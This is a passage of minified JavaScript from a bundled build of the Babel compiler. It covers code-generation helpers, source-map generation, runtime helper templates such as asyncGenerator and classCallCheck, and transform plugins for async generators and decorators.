",s))}this.withSource("start",e.loc,function(){t._append(r)}),this.newline((this._whitespace?this._whitespace.getNewlinesAfter(e):0)+("CommentLine"===e.type?-1:0))}},e.prototype._printComments=function(e){if(e&&e.length)for(var t=e,r=Array.isArray(t),n=0,t=r?t:(0,l.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i;this._printComment(s)}},e}();t.default=I;for(var M=[r(309),r(303),r(308),r(302),r(306),r(307),r(123),r(304),r(301),r(305)],N=0;N<M.length;N++){var L=M[N];(0,o.default)(I.prototype,L)}e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(14),s=n(i),a=r(11),o=n(a),u=r(3),l=n(u),c=r(288),f=n(c),p=function(){function e(t,r){(0,l.default)(this,e),this._cachedMap=null,this._code=r,this._opts=t,this._rawMappings=[]}return e.prototype.get=function(){if(!this._cachedMap){var e=this._cachedMap=new f.default.SourceMapGenerator({file:this._opts.sourceMapTarget,sourceRoot:this._opts.sourceRoot}),t=this._code;"string"==typeof t?e.setSourceContent(this._opts.sourceFileName,t):"object"===(void 0===t?"undefined":(0,o.default)(t))&&(0,s.default)(t).forEach(function(r){e.setSourceContent(r,t[r])}),this._rawMappings.forEach(e.addMapping,e)}return this._cachedMap.toJSON()},e.prototype.getRawMappings=function(){return this._rawMappings.slice()},e.prototype.mark=function(e,t,r,n,i,s){this._lastGenLine!==e&&null===r||this._lastGenLine===e&&this._lastSourceLine===r&&this._lastSourceColumn===n||(this._cachedMap=null,this._lastGenLine=e,this._lastSourceLine=r,this._lastSourceColumn=n,this._rawMappings.push({name:i||void 0,generated:{line:e,column:t},source:null==r?void 0:s||this._opts.sourceFileName,original:null==r?void 0:{line:r,column:n}}))},e}();t.default=p,e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(3),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s=function(){function e(t){(0,i.default)(this,e),this.tokens=t,this.used={}}return e.prototype.getNewlinesBefore=function(e){var t=void 0,r=void 0,n=this.tokens,i=this._findToken(function(t){return t.start-e.start},0,n.length);if(i>=0){for(;i&&e.start===n[i-1].start;)--i;t=n[i-1],r=n[i]}return this._getNewlinesBetween(t,r)},e.prototype.getNewlinesAfter=function(e){var t=void 0,r=void 0,n=this.tokens,i=this._findToken(function(t){return t.end-e.end},0,n.length);if(i>=0){for(;i&&e.end===n[i-1].end;)--i;t=n[i],r=n[i+1],","===r.type.label&&(r=n[i+2])}return r&&"eof"===r.type.label?1:this._getNewlinesBetween(t,r)},e.prototype._getNewlinesBetween=function(e,t){if(!t||!t.loc)return 0;for(var r=e?e.loc.end.line:1,n=t.loc.start.line,i=0,s=r;s<n;s++)void 0===this.used[s]&&(this.used[s]=!0,i++);return i},e.prototype._findToken=function(e,t,r){if(t>=r)return-1;var n=t+r>>>1,i=e(this.tokens[n]);return i<0?this._findToken(e,n+1,r):i>0?this._findToken(e,t,n):0===i?n:-1},e}();t.default=s,e.exports=t.default},function(e,t,r){"use strict";function n(e){for(var t=e,r=Array.isArray(t),n=0,t=r?t:(0,s.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var a=i,u=a.node,l=u.expression;if(o.isMemberExpression(l)){var c=a.scope.maybeGenerateMemoised(l.object),f=void 0,p=[];c?(f=c,p.push(o.assignmentExpression("=",c,l.object))):f=l.object,p.push(o.callExpression(o.memberExpression(o.memberExpression(f,l.property,l.computed),o.identifier("bind")),[f])),1===p.length?u.expression=p[0]:u.expression=o.sequenceExpression(p)}}}t.__esModule=!0;var i=r(2),s=function(e){return e&&e.__esModule?e:{default:e}}(i);t.default=n;var a=r(1),o=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(a);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){function t(t){return t&&t.operator===e.operator+"="}function r(e,t){return a.assignmentExpression("=",e,t)}var n={};return n.ExpressionStatement=function(n,s){if(!n.isCompletionRecord()){var o=n.node.expression;if(t(o)){var u=[],l=(0,i.default)(o.left,u,s,n.scope,!0);u.push(a.expressionStatement(r(l.ref,e.build(l.uid,o.right)))),n.replaceWithMultiple(u)}}},n.AssignmentExpression=function(n,s){var a=n.node,o=n.scope;if(t(a)){var u=[],l=(0,i.default)(a.left,u,s,o);u.push(r(l.ref,e.build(l.uid,a.right))),n.replaceWithMultiple(u)}},n.BinaryExpression=function(t){var r=t.node;r.operator===e.operator&&t.replaceWith(e.build(r.left,r.right))},n};var n=r(318),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s=r(1),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(s);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:e.scope,r=e.node,n=a.functionExpression(null,[],r.body,r.generator,r.async),s=n,u=[];(0,i.default)(e,function(e){return t.push({id:e})});var l={foundThis:!1,foundArguments:!1};e.traverse(o,l),l.foundArguments&&(s=a.memberExpression(n,a.identifier("apply")),u=[],l.foundThis&&u.push(a.thisExpression()),l.foundArguments&&(l.foundThis||u.push(a.nullLiteral()),u.push(a.identifier("arguments"))));var c=a.callExpression(s,u);return r.generator&&(c=a.yieldExpression(c,!0)),a.returnStatement(c)};var n=r(190),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s=r(1),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(s),o={enter:function(e,t){e.isThisExpression()&&(t.foundThis=!0),e.isReferencedIdentifier({name:"arguments"})&&(t.foundArguments=!0)},Function:function(e){e.skip()}};e.exports=t.default},function(e,t,r){"use strict";function n(e,t,r,n){var i=void 0;if(a.isSuper(e))return e;if(a.isIdentifier(e)){if(n.hasBinding(e.name))return e;i=e}else{if(!a.isMemberExpression(e))throw new Error("We can't explode this node type "+e.type);if(i=e.object,a.isSuper(i)||a.isIdentifier(i)&&n.hasBinding(i.name))return i}var s=n.generateUidIdentifierBasedOnNode(i);return t.push(a.variableDeclaration("var",[a.variableDeclarator(s,i)])),s}function i(e,t,r,n){var i=e.property,s=a.toComputedKey(e,i);if(a.isLiteral(s)&&a.isPureish(s))return s;var o=n.generateUidIdentifierBasedOnNode(i);return t.push(a.variableDeclaration("var",[a.variableDeclarator(o,i)])),o}t.__esModule=!0,t.default=function(e,t,r,s,o){var u=void 0;u=a.isIdentifier(e)&&o?e:n(e,t,r,s);var l=void 0,c=void 0;if(a.isIdentifier(e))l=e,c=u;else{var f=i(e,t,r,s),p=e.computed||a.isLiteral(f);c=l=a.memberExpression(u,f,p)}return{uid:c,ref:l}};var s=r(1),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(s);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i);t.default=function(e){function t(t){if(t.node&&!t.isPure()){var r=e.scope.generateDeclaredUidIdentifier();n.push(l.assignmentExpression("=",r,t.node)),t.replaceWith(r)}}function r(e){if(Array.isArray(e)&&e.length){e=e.reverse(),(0,o.default)(e);for(var r=e,n=Array.isArray(r),i=0,r=n?r:(0,s.default)(r);;){var a;if(n){if(i>=r.length)break;a=r[i++]}else{if(i=r.next(),i.done)break;a=i.value}t(a)}}}e.assertClass();var n=[];t(e.get("superClass")),r(e.get("decorators"));for(var i=e.get("body.body"),a=i,u=Array.isArray(a),c=0,a=u?a:(0,s.default)(a);;){var f;if(u){if(c>=a.length)break;f=a[c++]}else{if(c=a.next(),c.done)break;f=c.value}var p=f;p.is("computed")&&t(p.get("key")),p.has("decorators")&&r(e.get("decorators"))}n&&e.insertBefore(n.map(function(e){return l.expressionStatement(e)}))};var a=r(315),o=n(a),u=r(1),l=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(u);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0,t.default=function(e,t){var r=e.node,n=e.scope,i=e.parent,a=n.generateUidIdentifier("step"),o=n.generateUidIdentifier("value"),u=r.left,p=void 0;s.isIdentifier(u)||s.isPattern(u)||s.isMemberExpression(u)?p=s.expressionStatement(s.assignmentExpression("=",u,o)):s.isVariableDeclaration(u)&&(p=s.variableDeclaration(u.kind,[s.variableDeclarator(u.declarations[0].id,o)]));var d=c();(0,l.default)(d,f,null,{ITERATOR_HAD_ERROR_KEY:n.generateUidIdentifier("didIteratorError"),ITERATOR_COMPLETION:n.generateUidIdentifier("iteratorNormalCompletion"),ITERATOR_ERROR_KEY:n.generateUidIdentifier("iteratorError"),ITERATOR_KEY:n.generateUidIdentifier("iterator"),GET_ITERATOR:t.getAsyncIterator,OBJECT:r.right,STEP_VALUE:o,STEP_KEY:a,AWAIT:t.wrapAwait}),d=d.body.body;var h=s.isLabeledStatement(i),m=d[3].block.body,y=m[0];return h&&(m[0]=s.labeledStatement(i.label,y)),{replaceParent:h,node:d,declar:p,loop:y}};var i=r(1),s=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(i),a=r(4),o=n(a),u=r(7),l=n(u),c=(0,o.default)("\n  function* wrapper() {\n    var ITERATOR_COMPLETION = true;\n    var ITERATOR_HAD_ERROR_KEY = false;\n    var ITERATOR_ERROR_KEY = undefined;\n    try {\n      for (\n        var ITERATOR_KEY = GET_ITERATOR(OBJECT), STEP_KEY, STEP_VALUE;\n        (\n          STEP_KEY = yield AWAIT(ITERATOR_KEY.next()),\n          ITERATOR_COMPLETION = STEP_KEY.done,\n          STEP_VALUE = yield AWAIT(STEP_KEY.value),\n          !ITERATOR_COMPLETION\n        );\n        ITERATOR_COMPLETION = true) {\n      }\n    } catch (err) {\n      ITERATOR_HAD_ERROR_KEY = true;\n      ITERATOR_ERROR_KEY = err;\n    } finally {\n      try {\n        if (!ITERATOR_COMPLETION && ITERATOR_KEY.return) {\n          yield AWAIT(ITERATOR_KEY.return());\n        }\n      } finally {\n        if (ITERATOR_HAD_ERROR_KEY) {\n          throw ITERATOR_ERROR_KEY;\n        }\n      }\n    }\n  }\n"),f={noScope:!0,Identifier:function(e,t){e.node.name in t&&e.replaceInline(t[e.node.name])},CallExpression:function(e,t){var r=e.node.callee;s.isIdentifier(r)&&"AWAIT"===r.name&&!t.AWAIT&&e.replaceWith(e.node.arguments[0])}};e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(4),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s={};t.default=s,s.typeof=(0,i.default)('\n  (typeof Symbol === "function" && typeof Symbol.iterator === "symbol")\n    ? function (obj) { return typeof obj; }\n    : function (obj) {\n        return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype\n          ? "symbol"\n          : typeof obj;\n      };\n'),s.jsx=(0,i.default)('\n  (function () {\n    var REACT_ELEMENT_TYPE = (typeof Symbol === "function" && Symbol.for && Symbol.for("react.element")) || 0xeac7;\n\n    return function createRawReactElement (type, props, key, children) {\n      var defaultProps = type && type.defaultProps;\n      var childrenLength = arguments.length - 3;\n\n      if (!props && childrenLength !== 0) {\n        // If we\'re going to assign props.children, we create a new object now\n        // to avoid mutating defaultProps.\n        props = {};\n      }\n      if (props && defaultProps) {\n        for (var propName in defaultProps) {\n          if (props[propName] === void 0) {\n            props[propName] = defaultProps[propName];\n          }\n        }\n      } else if (!props) {\n        props = defaultProps || {};\n      }\n\n      if (childrenLength === 1) {\n        props.children = children;\n      } else if (childrenLength > 1) {\n        var childArray = Array(childrenLength);\n        for (var i = 0; i < childrenLength; i++) {\n          childArray[i] = arguments[i + 3];\n        }\n        props.children = childArray;\n      }\n\n      return {\n        $$typeof: REACT_ELEMENT_TYPE,\n        type: type,\n        key: key === undefined ? null : \'\' + key,\n        ref: null,\n        props: props,\n        _owner: null,\n      };\n    };\n\n  })()\n'),s.asyncIterator=(0,i.default)('\n  (function (iterable) {\n    if (typeof Symbol === "function") {\n      if (Symbol.asyncIterator) {\n        var method = iterable[Symbol.asyncIterator];\n        if (method != null) return method.call(iterable);\n      }\n      if (Symbol.iterator) {\n        return iterable[Symbol.iterator]();\n      }\n    }\n    throw new TypeError("Object is not async iterable");\n  })\n'),s.asyncGenerator=(0,i.default)('\n  (function () {\n    function AwaitValue(value) {\n      this.value = value;\n    }\n\n    function AsyncGenerator(gen) {\n      var front, back;\n\n      function send(key, arg) {\n        return new Promise(function (resolve, reject) {\n          var request = {\n            key: key,\n            arg: arg,\n            resolve: resolve,\n            reject: reject,\n            next: null\n          };\n\n          if (back) {\n            back = back.next = request;\n          } else {\n            front = back = request;\n            resume(key, arg);\n          }\n        });\n      }\n\n      function resume(key, arg) {\n        try {\n          var result = gen[key](arg)\n          var value = result.value;\n          if (value instanceof AwaitValue) {\n            Promise.resolve(value.value).then(\n              function (arg) { resume("next", arg); },\n              function (arg) { resume("throw", arg); });\n          } else {\n            settle(result.done ? "return" : "normal", result.value);\n          }\n        } catch (err) {\n          settle("throw", err);\n        }\n      }\n\n      function settle(type, value) {\n        switch (type) {\n          case "return":\n            front.resolve({ value: value, done: true });\n            break;\n          case "throw":\n            front.reject(value);\n            break;\n          default:\n            front.resolve({ value: value, done: false });\n            break;\n        }\n\n        front = front.next;\n        if (front) {\n          resume(front.key, front.arg);\n        } else {\n          back = null;\n        }\n      }\n\n      this._invoke = send;\n\n      // Hide "return" method if generator return is not supported\n      if (typeof gen.return !== "function") {\n        this.return = undefined;\n      }\n    }\n\n    if (typeof Symbol === "function" && Symbol.asyncIterator) {\n      AsyncGenerator.prototype[Symbol.asyncIterator] = function () { return this; };\n    }\n\n    AsyncGenerator.prototype.next = function (arg) { return this._invoke("next", arg); };\n    AsyncGenerator.prototype.throw = function (arg) { return this._invoke("throw", arg); };\n    AsyncGenerator.prototype.return = function (arg) { return this._invoke("return", arg); };\n\n    return {\n      wrap: function (fn) {\n        return function () {\n          return new AsyncGenerator(fn.apply(this, arguments));\n        };\n      },\n      await: function (value) {\n        return new AwaitValue(value);\n      }\n    };\n\n  })()\n'),s.asyncGeneratorDelegate=(0,i.default)('\n  (function (inner, awaitWrap) {\n    var iter = {}, waiting = false;\n\n    function pump(key, value) {\n      waiting = true;\n      value = new Promise(function (resolve) { resolve(inner[key](value)); });\n      return { done: false, value: awaitWrap(value) };\n    };\n\n    if (typeof Symbol === "function" && Symbol.iterator) {\n      iter[Symbol.iterator] = function () { return this; };\n    }\n\n    iter.next = function (value) {\n      if (waiting) {\n        waiting = false;\n        return value;\n      }\n      return pump("next", value);\n    };\n\n    if (typeof inner.throw === "function") {\n      iter.throw = function (value) {\n        if (waiting) {\n          waiting = false;\n          throw value;\n        }\n        return pump("throw", value);\n      };\n    }\n\n    if (typeof inner.return === "function") {\n      iter.return = function (value) {\n        return pump("return", value);\n      };\n    }\n\n    return iter;\n  })\n'),s.asyncToGenerator=(0,i.default)('\n  (function (fn) {\n    return function () {\n      var gen = fn.apply(this, arguments);\n      return new Promise(function (resolve, reject) {\n        function step(key, arg) {\n          try {\n            var info = gen[key](arg);\n            var value = info.value;\n          } catch (error) {\n            reject(error);\n            return;\n          }\n\n          if (info.done) {\n            resolve(value);\n          } else {\n            return Promise.resolve(value).then(function (value) {\n              step("next", value);\n            }, function (err) {\n              step("throw", err);\n            });\n          }\n        }\n\n        return step("next");\n      });\n    };\n  })\n'),s.classCallCheck=(0,i.default)('\n  (function (instance, Constructor) {\n    if (!(instance instanceof Constructor)) {\n      throw new TypeError("Cannot call a class as a function");\n    }\n  });\n'),s.createClass=(0,i.default)('\n  (function() {\n    function defineProperties(target, props) {\n      for (var i = 0; i < props.length; i ++) {\n        var descriptor = props[i];\n        descriptor.enumerable = descriptor.enumerable || false;\n        descriptor.configurable = true;\n        if ("value" in descriptor) descriptor.writable = true;\n        Object.defineProperty(target, descriptor.key, descriptor);\n      }\n    }\n\n    return function (Constructor, protoProps, staticProps) {\n      if (protoProps) defineProperties(Constructor.prototype, protoProps);\n      if (staticProps) defineProperties(Constructor, staticProps);\n      return Constructor;\n    };\n  })()\n'),s.defineEnumerableProperties=(0,i.default)('\n  (function (obj, descs) {\n    for (var key in descs) {\n      var desc = descs[key];\n      desc.configurable = desc.enumerable = true;\n      if ("value" in desc) desc.writable = true;\n      Object.defineProperty(obj, key, desc);\n    }\n    return obj;\n  })\n'),s.defaults=(0,i.default)("\n  (function (obj, defaults) {\n    var keys = Object.getOwnPropertyNames(defaults);\n    for (var i = 0; i < keys.length; i++) {\n      var key = keys[i];\n      var value = Object.getOwnPropertyDescriptor(defaults, key);\n      if (value && value.configurable && obj[key] === undefined) {\n        Object.defineProperty(obj, key, value);\n      }\n    }\n    return obj;\n  })\n"),s.defineProperty=(0,i.default)("\n  (function (obj, key, value) {\n    // Shortcircuit the slow defineProperty path when possible.\n    // We are trying to avoid issues where setters defined on the\n    // prototype cause side effects under the fast path of simple\n    // assignment. By checking for existence of the property with\n    // the in operator, we can optimize most of this overhead away.\n    if (key in obj) {\n      Object.defineProperty(obj, key, {\n        value: value,\n        enumerable: true,\n        configurable: true,\n        writable: true\n      });\n    } else {\n      obj[key] = value;\n    }\n    return obj;\n  });\n"),s.extends=(0,i.default)("\n  Object.assign || (function (target) {\n    for (var i = 1; i < arguments.length; i++) {\n      var source = arguments[i];\n      for (var key in source) {\n        if (Object.prototype.hasOwnProperty.call(source, key)) {\n          target[key] = source[key];\n        }\n      }\n    }\n    return target;\n  })\n"),s.get=(0,i.default)('\n  (function get(object, property, receiver) {\n    if (object === null) object = Function.prototype;\n\n    var desc = Object.getOwnPropertyDescriptor(object, property);\n\n    if (desc === undefined) {\n      var parent = Object.getPrototypeOf(object);\n\n      if (parent === null) {\n        return undefined;\n      } else {\n        return get(parent, property, receiver);\n      }\n    } else if ("value" in desc) {\n      return desc.value;\n    } else {\n      var getter = desc.get;\n\n      if (getter === undefined) {\n        return undefined;\n      }\n\n      return getter.call(receiver);\n    }\n  });\n'),s.inherits=(0,i.default)('\n  (function (subClass, superClass) {\n    if (typeof superClass !== "function" && superClass !== null) {\n      throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);\n    }\n    subClass.prototype = Object.create(superClass && superClass.prototype, {\n      constructor: {\n        value: subClass,\n        enumerable: false,\n        writable: true,\n        configurable: true\n      }\n    });\n    if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;\n  })\n'),s.instanceof=(0,i.default)('\n  (function (left, right) {\n    if (right != null && typeof Symbol !== "undefined" && right[Symbol.hasInstance]) {\n      return right[Symbol.hasInstance](left);\n    } else {\n      return left instanceof right;\n    }\n  });\n'),s.interopRequireDefault=(0,i.default)("\n  (function (obj) {\n    return obj && obj.__esModule ? obj : { default: obj };\n  })\n"),s.interopRequireWildcard=(0,i.default)("\n  (function (obj) {\n    if (obj && obj.__esModule) {\n      return obj;\n    } else {\n      var newObj = {};\n      if (obj != null) {\n        for (var key in obj) {\n          if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];\n        }\n      }\n      newObj.default = obj;\n      return newObj;\n    }\n  })\n"),s.newArrowCheck=(0,i.default)('\n  (function (innerThis, boundThis) {\n    if (innerThis !== boundThis) {\n      throw new TypeError("Cannot instantiate an arrow function");\n    }\n  });\n'),s.objectDestructuringEmpty=(0,i.default)('\n  (function (obj) {\n    if (obj == null) throw new TypeError("Cannot destructure undefined");\n  });\n'),s.objectWithoutProperties=(0,i.default)("\n  (function (obj, keys) {\n    var target = {};\n    for (var i in obj) {\n      if (keys.indexOf(i) >= 0) continue;\n      if (!Object.prototype.hasOwnProperty.call(obj, i)) continue;\n      target[i] = obj[i];\n    }\n    return target;\n  })\n"),s.possibleConstructorReturn=(0,i.default)('\n  (function (self, call) {\n    if (!self) {\n      throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called");\n    }\n    return call && (typeof call === "object" || typeof call === "function") ? call : self;\n  });\n'),s.selfGlobal=(0,i.default)('\n  typeof global === "undefined" ? self : global\n'),s.set=(0,i.default)('\n  (function set(object, property, value, receiver) {\n    var desc = Object.getOwnPropertyDescriptor(object, property);\n\n    if (desc === undefined) {\n      var parent = Object.getPrototypeOf(object);\n\n      if (parent !== null) {\n        set(parent, property, value, receiver);\n      }\n    } else if ("value" in desc && desc.writable) {\n      desc.value = value;\n    } else {\n      var setter = desc.set;\n\n      if (setter !== undefined) {\n        setter.call(receiver, value);\n      }\n    }\n\n    return value;\n  });\n'),s.slicedToArray=(0,i.default)('\n  (function () {\n    // Broken out into a separate function to avoid deoptimizations due to the try/catch for the\n    // array iterator case.\n    function sliceIterator(arr, i) {\n      // this is an expanded form of `for...of` that properly supports abrupt completions of\n      // iterators etc. variable names have been minimised to reduce the size of this massive\n      // helper. sometimes spec compliancy is annoying :(\n      //\n      // _n = _iteratorNormalCompletion\n      // _d = _didIteratorError\n      // _e = _iteratorError\n      // _i = _iterator\n      // _s = _step\n\n      var _arr = [];\n      var _n = true;\n      var _d = false;\n      var _e = undefined;\n      try {\n        for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) {\n          _arr.push(_s.value);\n          if (i && _arr.length === i) break;\n        }\n      } catch (err) {\n        _d = true;\n        _e = err;\n      } finally {\n        try {\n          if (!_n && _i["return"]) _i["return"]();\n        } finally {\n          if (_d) throw _e;\n        }\n      }\n      return _arr;\n    }\n\n    return function (arr, i) {\n      if (Array.isArray(arr)) {\n        return arr;\n      } else if (Symbol.iterator in Object(arr)) {\n        return sliceIterator(arr, i);\n      } else {\n        throw new TypeError("Invalid attempt to destructure non-iterable instance");\n      }\n    };\n  })();\n'),s.slicedToArrayLoose=(0,i.default)('\n  (function (arr, i) {\n    if (Array.isArray(arr)) {\n      return arr;\n    } else if (Symbol.iterator in Object(arr)) {\n      var _arr = [];\n      for (var _iterator = arr[Symbol.iterator](), _step; !(_step = _iterator.next()).done;) {\n        _arr.push(_step.value);\n        if (i && _arr.length === i) break;\n      }\n      return _arr;\n    } else {\n      throw new TypeError("Invalid attempt to destructure non-iterable instance");\n    }\n  });\n'),s.taggedTemplateLiteral=(0,i.default)("\n  (function (strings, raw) {\n    return Object.freeze(Object.defineProperties(strings, {\n        raw: { value: Object.freeze(raw) }\n    }));\n  });\n"),s.taggedTemplateLiteralLoose=(0,i.default)("\n  (function (strings, raw) {\n    strings.raw = raw;\n    return strings;\n  });\n"),s.temporalRef=(0,i.default)('\n  (function (val, name, undef) {\n    if (val === undef) {\n      throw new ReferenceError(name + " is not defined - temporal dead zone");\n    } else {\n      return val;\n    }\n  })\n'),s.temporalUndefined=(0,i.default)("\n  ({})\n"),s.toArray=(0,i.default)("\n  (function (arr) {\n    return Array.isArray(arr) ? arr : Array.from(arr);\n  });\n"),s.toConsumableArray=(0,i.default)("\n  (function (arr) {\n    if (Array.isArray(arr)) {\n      for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) arr2[i] = arr[i];\n      return arr2;\n    } else {\n      return Array.from(arr);\n    }\n  });\n"),e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types;return{pre:function(e){e.set("helpersNamespace",t.identifier("babelHelpers"))}}},e.exports=t.default},function(e,t,r){"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=r(89);e.exports=function(e){var t=e.types,r={};return{visitor:{Identifier:function(e,s){if("MemberExpression"!==e.parent.type&&"ClassMethod"!==e.parent.type&&!e.isPure()&&s.opts.hasOwnProperty(e.node.name)){var a=s.opts[e.node.name];void 0!==a&&null!==a||(a=t.identifier(String(a)));var o=void 0===a?"undefined":n(a);"string"===o||"boolean"===o?a={type:o,replacement:a}:t.isNode(a)?a={type:"node",replacement:a}:"object"===o&&"node"===a.type&&"string"==typeof a.replacement&&(a.replacement=r[a.replacement]?r[a.replacement]:i.parseExpression(a.replacement));var u=a.replacement;switch(a.type){case"boolean":e.replaceWith(t.booleanLiteral(u));break;case"node":t.isNode(u)&&e.replaceWith(u);break;default:var l=String(u);e.replaceWith(t.stringLiteral(l))}}}}}}},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("dynamicImport")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("functionSent")}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(){return{inherits:r(67)}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types,n={Function:function(e){e.skip()},YieldExpression:function(e,r){var n=e.node;if(n.delegate){var i=r.addHelper("asyncGeneratorDelegate");n.argument=t.callExpression(i,[t.callExpression(r.addHelper("asyncIterator"),[n.argument]),t.memberExpression(r.addHelper("asyncGenerator"),t.identifier("await"))])}}};return{inherits:r(195),visitor:{Function:function(e,r){e.node.async&&e.node.generator&&(e.traverse(n,r),(0,i.default)(e,r.file,{wrapAsync:t.memberExpression(r.addHelper("asyncGenerator"),t.identifier("wrap")),wrapAwait:t.memberExpression(r.addHelper("asyncGenerator"),t.identifier("await"))}))}}}};var n=r(124),i=function(e){return e&&e.__esModule?e:{default:e}}(n);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(){return{inherits:r(67),visitor:{Function:function(e,t){e.node.async&&!e.node.generator&&(0,i.default)(e,t.file,{wrapAsync:t.addImport(t.opts.module,t.opts.method)})}}}};var n=r(124),i=function(e){return e&&e.__esModule?e:{default:e}}(n);e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){function t(e,t){if(!t.applyDecoratedDescriptor){t.applyDecoratedDescriptor=e.scope.generateUidIdentifier("applyDecoratedDescriptor");var r=f({NAME:t.applyDecoratedDescriptor});e.scope.getProgramParent().path.unshiftContainer("body",r)}return t.applyDecoratedDescriptor}function n(e,t){if(!t.initializerDefineProp){t.initializerDefineProp=e.scope.generateUidIdentifier("initDefineProp");var r=c({NAME:t.initializerDefineProp});e.scope.getProgramParent().path.unshiftContainer("body",r)}return t.initializerDefineProp}function i(e,t){if(!t.initializerWarningHelper){t.initializerWarningHelper=e.scope.generateUidIdentifier("initializerWarningHelper");var r=l({NAME:t.initializerWarningHelper});e.scope.getProgramParent().path.unshiftContainer("body",r)}return t.initializerWarningHelper}function p(e){var t=(e.isClass()?[e].concat(e.get("body.body")):e.get("properties")).reduce(function(e,t){return e.concat(t.node.decorators||[])},[]),r=t.filter(function(e){return!v.isIdentifier(e.expression)});if(0!==r.length)return v.sequenceExpression(r.map(function(t){var r=t.expression,n=t.expression=e.scope.generateDeclaredUidIdentifier("dec");return v.assignmentExpression("=",n,r)}).concat([e.node]))}function d(e,t){var r=e.node.decorators||[];if(e.node.decorators=null,0!==r.length){var n=e.scope.generateDeclaredUidIdentifier("class");return r.map(function(e){return e.expression}).reverse().reduce(function(e,t){return s({CLASS_REF:n,DECORATOR:t,INNER:e}).expression},e.node)}}function h(e,t){if(e.node.body.body.some(function(e){return(e.decorators||[]).length>0}))return y(e,t,e.node.body.body)}function m(e,t){if(e.node.properties.some(function(e){return(e.decorators||[]).length>0}))return y(e,t,e.node.properties)}function y(e,r,n){var s=(e.scope.generateDeclaredUidIdentifier("desc"),e.scope.generateDeclaredUidIdentifier("value"),
e.scope.generateDeclaredUidIdentifier(e.isClass()?"class":"obj")),l=n.reduce(function(n,l){var c=l.decorators||[];if(l.decorators=null,0===c.length)return n;if(l.computed)throw e.buildCodeFrameError("Computed method/property decorators are not yet supported.");var f=v.isLiteral(l.key)?l.key:v.stringLiteral(l.key.name),p=e.isClass()&&!l.static?a({CLASS_REF:s}).expression:s;if(v.isClassProperty(l,{static:!1})){var d=e.scope.generateDeclaredUidIdentifier("descriptor"),h=l.value?v.functionExpression(null,[],v.blockStatement([v.returnStatement(l.value)])):v.nullLiteral();l.value=v.callExpression(i(e,r),[d,v.thisExpression()]),n=n.concat([v.assignmentExpression("=",d,v.callExpression(t(e,r),[p,f,v.arrayExpression(c.map(function(e){return e.expression})),v.objectExpression([v.objectProperty(v.identifier("enumerable"),v.booleanLiteral(!0)),v.objectProperty(v.identifier("initializer"),h)])]))])}else n=n.concat(v.callExpression(t(e,r),[p,f,v.arrayExpression(c.map(function(e){return e.expression})),v.isObjectProperty(l)||v.isClassProperty(l,{static:!0})?u({TEMP:e.scope.generateDeclaredUidIdentifier("init"),TARGET:p,PROPERTY:f}).expression:o({TARGET:p,PROPERTY:f}).expression,p]));return n},[]);return v.sequenceExpression([v.assignmentExpression("=",s,e.node),v.sequenceExpression(l),s])}var v=e.types;return{inherits:r(125),visitor:{ExportDefaultDeclaration:function(e){if(e.get("declaration").isClassDeclaration()){var 